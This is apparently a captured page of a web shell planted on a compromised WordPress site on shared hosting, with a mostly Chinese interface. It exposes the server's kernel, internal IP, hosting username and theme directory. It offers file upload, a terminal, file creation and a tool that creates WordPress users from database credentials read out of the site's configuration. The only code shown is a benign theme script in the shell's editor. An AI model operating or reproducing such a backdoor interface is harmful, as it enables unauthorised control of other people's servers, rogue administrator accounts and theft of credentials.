Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
www
/
wordpress
/
wpn_OciepleniaKonin
/
wp-content
/
themes
/
onetone
/
admin
/
js
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
media-uploader.js
2.91 KB
-rw-r--r--
2018-03-20 20:22
options-custom.js
1.65 KB
-rw-r--r--
2018-03-20 20:22
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
media-uploader.js
jQuery(document).ready(function($){ var optionsframework_upload; var optionsframework_selector; function optionsframework_add_file(event, selector) { var upload = $(".uploaded-file"), frame; var $el = $(this); optionsframework_selector = selector; event.preventDefault(); // If the media frame already exists, reopen it. if ( optionsframework_upload ) { optionsframework_upload.open(); } else { // Create the media frame. optionsframework_upload = wp.media.frames.optionsframework_upload = wp.media({ // Set the title of the modal. title: $el.data('choose'), // Customize the submit button. button: { // Set the text of the button. text: $el.data('update'), // Tell the button not to close the modal, since we're // going to refresh the page when the image is selected. close: false } }); // When an image is selected, run a callback. optionsframework_upload.on( 'select', function() { // Grab the selected attachment. var attachment = optionsframework_upload.state().get('selection').first(); optionsframework_upload.close(); optionsframework_selector.find('.upload').val(attachment.attributes.url); if ( attachment.attributes.type == 'image' ) { optionsframework_selector.find('.screenshot').empty().hide().append('<img src="' + attachment.attributes.url + '"><a class="remove-image">Remove</a>').slideDown('fast'); } optionsframework_selector.find('.upload-button').unbind().addClass('remove-file').removeClass('upload-button').val(optionsframework_l10n.remove); optionsframework_selector.find('.of-background-properties').slideDown(); optionsframework_selector.find('.remove-image, .remove-file').on('click', function() { optionsframework_remove_file( $(this).closest('.section') ); }); }); } // Finally, open the modal. optionsframework_upload.open(); } function optionsframework_remove_file(selector) { selector.find('.remove-image').hide(); selector.find('.upload').val(''); selector.find('.of-background-properties').hide(); selector.find('.screenshot').slideUp(); selector.find('.remove-file').unbind().addClass('upload-button').removeClass('remove-file').val(optionsframework_l10n.upload); // We don't display the upload button if .upload-notice is present // This means the user doesn't have the WordPress 3.5 Media Library Support if ( $('.section-upload .upload-notice').length > 0 ) { $('.upload-button').remove(); } selector.find('.upload-button').on('click', function(event) { optionsframework_add_file(event, $(this).closest('.section')); }); } $('.remove-image, .remove-file').on('click', function() { optionsframework_remove_file( $(this).closest('.section') ); }); $('.upload-button').click( function( event ) { optionsframework_add_file(event, $(this).closest('.section')); }); });
关闭
保存